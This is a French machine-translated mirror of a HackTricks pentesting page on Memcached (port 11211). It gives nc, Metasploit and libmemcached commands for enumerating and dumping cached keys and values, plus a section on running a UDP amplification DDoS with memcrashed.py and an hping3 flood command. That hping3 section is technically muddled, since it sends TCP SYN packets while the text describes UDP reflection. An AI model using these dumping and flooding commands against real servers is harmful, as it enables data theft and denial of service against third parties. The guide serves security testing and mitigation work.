Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 21:24:06 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/11211-memcache/README.md
Translator workflow af42105553 Translated to French
2023-06-03 13:10:46 +00:00

21 KiB
Raw Blame History

11211 - Test de pénétration Memcache

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Informations sur le protocole

Memcached (prononciation : mem-cached, mem-cash-dee) est un système de mise en cache de mémoire distribué à usage général. Il est souvent utilisé pour accélérer les sites Web dynamiques pilotés par une base de données en mettant en cache des données et des objets dans la RAM pour réduire le nombre de fois où une source de données externe (comme une base de données ou une API) doit être lue. (De wikipedia)
Bien que Memcached prenne en charge SASL, la plupart des instances sont exposées sans authentification.

Port par défaut : 11211

PORT      STATE SERVICE
11211/tcp open  unknown

Énumération

Manuel

Pour exfiltrer toutes les informations enregistrées dans une instance memcache, vous devez :

  1. Trouver les slabs avec des éléments actifs
  2. Obtenir les noms de clé des slabs détectés précédemment
  3. Exfiltrer les données enregistrées en obtenant les noms de clé

Rappelez-vous que ce service est juste un cache, donc les données peuvent apparaître et disparaître.

echo "version" | nc -vn -w 1 <IP> 11211      #Get version
echo "stats" | nc -vn -w 1 <IP> 11211        #Get status
echo "stats slabs" | nc -vn -w 1 <IP> 11211  #Get slabs
echo "stats items" | nc -vn -w 1 <IP> 11211  #Get items of slabs with info
echo "stats cachedump <number> 0" | nc -vn -w 1 <IP> 11211  #Get key names (the 0 is for unlimited output size)
echo "get <item_name>" | nc -vn -w 1 <IP> 11211  #Get saved info

#This php will just dump the keys, you need to use "get <item_name> later"
sudo apt-get install php-memcached
php -r '$c = new Memcached(); $c->addServer("localhost", 11211); var_dump( $c->getAllKeys() );'

Manuel2

Attaque Memcached

Memcached est un système de mise en cache distribué open source très populaire. Il est souvent utilisé pour accélérer les applications web en stockant en mémoire des données fréquemment utilisées telles que des résultats de requêtes de base de données ou des pages web générées dynamiquement.

Cependant, si Memcached est mal configuré, il peut être utilisé pour mener des attaques DDoS massives. En effet, Memcached peut être utilisé pour amplifier le trafic en renvoyant des réponses beaucoup plus grandes que les requêtes initiales.

Découverte de Memcached

Memcached écoute par défaut sur le port 11211. Pour vérifier si un serveur Memcached est en cours d'exécution, vous pouvez utiliser la commande nmap suivante :

nmap -sU -p 11211 --script memcached-info <cible>

Si Memcached est en cours d'exécution, vous devriez voir une sortie similaire à celle-ci :

PORT      STATE SERVICE
11211/udp open  memcache
| memcached-info:
|   Process ID: 1
|   Uptime: 2 hours 1 min
|   Server time: 2021-06-22 14:22:08
|   Architecture: x86_64
|   Used CPU sys: 0.000000
|   Used CPU user: 0.000000
|   Current connections: 1
|   Total connections: 2
|   Maximum connections: 1024
|   TCP Port: 11211
|   UDP Port: 11211
|   Authenticated: no
|   Threads: 4
|   Forks: 1
|   Reserved file descriptors: 20
|   Available file descriptors: 1024
|   Total bytes read: 0
|   Total bytes written: 0
|   Bytes read per second: 0.00
|   Bytes written per second: 0.00
|   Total bytes: 0
|   Current bytes per connection: 0
|   Maximum bytes per connection: 0
|   Evictions: 0
|   Reclaimed: 0
|_  Get hits: 0

Attaque Memcached DDoS

Pour mener une attaque DDoS Memcached, vous devez d'abord trouver des serveurs Memcached mal configurés qui répondent aux requêtes UDP. Vous pouvez utiliser le script memcrashed.py pour cela :

python memcrashed.py <cible>

Le script enverra une requête UDP à tous les serveurs Memcached qu'il trouve et mesurera la taille de la réponse. Si la réponse est supérieure à 0, le serveur est vulnérable à l'attaque DDoS Memcached.

Une fois que vous avez identifié des serveurs vulnérables, vous pouvez utiliser un outil d'attaque DDoS tel que hping3 pour envoyer des paquets UDP falsifiés à ces serveurs en utilisant l'adresse IP de la victime comme adresse source. Cela forcera les serveurs à renvoyer des réponses beaucoup plus grandes à la victime, ce qui peut entraîner une surcharge du réseau de la victime.

hping3 -c 50000 -d 100 -S -w 64 -p 11211 --flood --rand-source <cible>

Mitigation

Pour éviter les attaques DDoS Memcached, il est important de configurer correctement les serveurs Memcached en limitant l'accès aux adresses IP autorisées et en désactivant l'écoute UDP si elle n'est pas nécessaire. Les pare-feu et les systèmes de détection d'intrusion peuvent également être utilisés pour détecter et bloquer les attaques DDoS Memcached.

sudo apt install libmemcached-tools
memcstat --servers=127.0.0.1 #Get stats
memcdump --servers=127.0.0.1 #Get all items
memccat  --servers=127.0.0.1 <item1> <item2> <item3> #Get info inside the item(s)

Automatique

nmap -n -sV --script memcached-info -p 11211 <IP>   #Just gather info
msf > use auxiliary/gather/memcached_extractor      #Extracts saved data
msf > use auxiliary/scanner/memcached/memcached_amp #Check is UDP DDoS amplification attack is possible

Dumping des clés Memcache

Si votre version de memcached est supérieure à 1.4.31, lisez la section suivante pour une méthode avancée de dumping des clés.

Le protocole memcache fournit des commandes pour jeter un coup d'œil aux données organisées par des dalles (catégories de données d'une plage de taille donnée). Cependant, il y a certaines limitations significatives :

  1. Vous ne pouvez jeter les clés que par classe de dalle (clés avec une taille de contenu approximativement similaire)
  2. Vous ne pouvez jeter qu'une page par classe de dalle (1 Mo de données)
  3. Il s'agit d'une fonctionnalité non officielle qui peut être supprimée à tout moment.

La deuxième limitation est probablement la plus difficile car 1 Mo sur plusieurs gigaoctets, c'est presque rien. Cependant, cela peut être utile pour surveiller comment vous utilisez un sous-ensemble de vos clés. Mais cela peut dépendre de votre cas d'utilisation. Si vous ne vous souciez pas des détails techniques, passez directement à la section outils pour en savoir plus sur les outils qui vous permettent de tout jeter facilement. Sinon, suivez le guide suivant et essayez les commandes en utilisant telnet contre votre configuration memcached. Comment ça marche Tout d'abord, vous devez savoir comment memcache organise sa mémoire. Si vous démarrez memcache avec l'option "-vv", vous verrez les classes de dalle qu'il crée. Par exemple

$ memcached -vv
slab class   1: chunk size        96 perslab   10922
slab class   2: chunk size       120 perslab    8738
slab class   3: chunk size       152 perslab    6898
slab class   4: chunk size       192 perslab    5461
[...]

Dans la configuration imprimée ci-dessus, memcache conservera 6898 morceaux de données entre 121 et 152 octets dans une seule dalle de 1 Mo (6898*152). Toutes les dalles ont une taille de 1 Mo par défaut. Utilisez la commande suivante pour imprimer toutes les dalles existantes actuellement :

stats slabs

Si vous avez ajouté une seule clé à un memcached 1.4.13 vide avec

set mykey 0 60 1
1
STORED

vous verrez maintenant le résultat suivant pour la commande "stats slabs":

stats slabs
STAT 1:chunk_size 96
STAT 1:chunks_per_page 10922
STAT 1:total_pages 1
STAT 1:total_chunks 10922
STAT 1:used_chunks 1
STAT 1:free_chunks 0
STAT 1:free_chunks_end 10921
STAT 1:mem_requested 71
STAT 1:get_hits 0
STAT 1:cmd_set 2
STAT 1:delete_hits 0
STAT 1:incr_hits 0
STAT 1:decr_hits 0
STAT 1:cas_hits 0
STAT 1:cas_badval 0
STAT 1:touch_hits 0
STAT active_slabs 1
STAT total_malloced 1048512
END

L'exemple montre que nous n'avons qu'un seul type de slab actif, le #1. Notre clé, qui ne fait qu'un octet, s'adapte à la taille de chunk la plus petite possible. Les statistiques de slab montrent qu'il n'y a actuellement qu'une page de la classe de slab existante et qu'un seul chunk est utilisé. Le plus important est qu'il montre un compteur pour chaque opération d'écriture (set, incr, decr, cas, touch) et un pour les gets. En utilisant ceux-ci, vous pouvez déterminer un taux de réussite ! Vous pouvez également récupérer un autre ensemble d'informations en utilisant "stats items" avec des compteurs intéressants concernant les évictions et les compteurs de mémoire insuffisante.

stats items
STAT items:1:number 1
STAT items:1:age 4
STAT items:1:evicted 0
STAT items:1:evicted_nonzero 0
STAT items:1:evicted_time 0
STAT items:1:outofmemory 0
STAT items:1:tailrepairs 0
STAT items:1:reclaimed 0
STAT items:1:expired_unfetched 0
STAT items:1:evicted_unfetched 0
END

Ce que nous pouvons deviner déjà… En se basant sur les informations statistiques par classe de dalles, nous pouvons déjà deviner beaucoup de choses sur le comportement de l'application :

  1. Quel est le ratio de cache pour différentes tailles de contenu ?
    • À quel point le cache est-il efficace pour les gros morceaux de HTML ?
  2. Combien de mémoire dépensons-nous pour différentes tailles de contenu ?
    • Combien dépensons-nous pour des compteurs numériques simples ?
    • Combien dépensons-nous pour nos données de session ?
    • Combien dépensons-nous pour les gros morceaux de HTML ?
  3. Combien d'objets volumineux pouvons-nous mettre en cache ?

Bien sûr, pour répondre à ces questions, vous devez connaître les objets mis en cache de votre application. Maintenant : Comment extraire les clés ? Les clés peuvent être extraites par classe de dalles en utilisant la commande "stats cachedump".

stats cachedump <slab class> <number of items to dump>

Pour extraire notre clé unique dans la classe #1, exécutez

stats cachedump 1 1000
ITEM mykey [1 b; 1350677968 s]
END

Le "cachedump" renvoie un élément par ligne. Le premier nombre entre accolades donne la taille en octets, le second le timestamp de la création. Étant donné le nom de la clé, vous pouvez maintenant également déverser sa valeur en utilisant.

get mykey
VALUE mykey 0 1
1
END

Voici comment procéder : itérez sur toutes les classes de slab que vous souhaitez, extrayez les noms de clés et, si nécessaire, déversez leur contenu.

DÉVERSEMENT DES CLÉS MEMCACHE (VER 1.4.31+)

Dans la version 1.4.31 et supérieure de Memcache, il existe une nouvelle commande pour déverser les clés de mémoire en mode non-bloquant (lire https://github.com/memcached/memcached/wiki/ReleaseNotes1431). Cette méthode est sûre à exécuter en production. La sortie n'est pas cohérente, mais suffisamment bonne pour trouver les clés, leur temps d'expiration exact (EXP) et le dernier temps d'accès (LA). En raison de la grande quantité de sortie générée, il est recommandé d'utiliser la commande « nc ». Exemples :

echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | head -1
key=0dLLX%253Amemcache_test_key exp=1590718787 la=1590718487 cas=2238881166 fetch=yes

echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | grep ee6ba58566e234ccbbce13f9a24f9a28
key=VQRFX%253Aee6ba58566e234ccbbce13f9a24f9a28 exp=-1 la=1590386157 cas=1776204003 fetch=yes
key=0dLLX%253Aee6ba58566e234ccbbce13f9a24f9a28 exp=-1 la=1590712292 cas=2225524871 fetch=yes

EXP=-1 signifie que l'élément n'expire jamais. EXP=1590718787 (ven. 29 mai 2020 02:19:47 GMT) conserve le timestamp Unix indiquant quand l'élément doit expirer. LA=1590712292 (lun. 25 mai 2020 05:55:57 GMT) conserve le timestamp Unix indiquant quand l'élément a été accédé pour la dernière fois.

OUTILS DE DUMPING

Il existe différents outils de dumping, parfois juste des scripts, qui vous aident à imprimer les clés memcache :

Langages de programmation Outils Fonctionnalité
PHP simple script Imprime les noms de clés.
Perl simple script Imprime les noms et les valeurs des clés.
Ruby simple script Imprime les noms de clés.
Perl memdump Outil dans le module CPAN Memcached-libmemcached ached/)
PHP memcache.php Interface graphique de surveillance de Memcache qui permet également de vider les clés.
libmemcached peep Gèle votre processus memcached !!! Soyez prudent lors de l'utilisation de cette méthode en production. En l'utilisant, vous pouvez contourner la limitation de 1 Mo et vraiment vider toutes les clés.

Dépannage

Limite de données de 1 Mo

Notez qu'avant memcached 1.4, vous ne pouvez pas stocker d'objets de plus de 1 Mo en raison de la taille de slab maximale par défaut.

Ne jamais définir un délai d'expiration > 30 jours !

Si vous essayez de "définir" ou "ajouter" une clé avec un délai d'expiration supérieur à la durée maximale autorisée, vous pourriez ne pas obtenir ce que vous attendez car memcached traite alors la valeur comme un timestamp Unix. De plus, si le timestamp est dans le passé, il ne fera rien du tout. Votre commande échouera silencieusement.

Donc, si vous voulez utiliser la durée de vie maximale, spécifiez 2592000. Exemple :

set my_key 0 2592000 1
1

Clés qui disparaissent en cas de débordement

Malgré la documentation qui indique que le débordement d'une valeur de 64 bits en utilisant "incr" provoque la disparition de la valeur, il est nécessaire de la recréer en utilisant "add"/"set".

Réplication

memcached ne prend pas en charge la réplication. Si vous en avez vraiment besoin, vous devez utiliser des solutions tierces :

  • repcached : Réplication asynchrone multi-maître (ensemble de correctifs memcached 1.2)
  • Interface memcached de Couchbase : Utilisez CouchBase comme remplacement de memcached
  • yrmcds : Stockage de clés-valeurs maître-esclave compatible avec memcached
  • twemproxy (alias nutcracker) : proxy avec prise en charge de memcached

Liste de commandes

{% content-ref url="memcache-commands.md" %} memcache-commands.md {% endcontent-ref %}

Shodan

  • port:11211 "STAT pid"
  • "STAT pid"

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥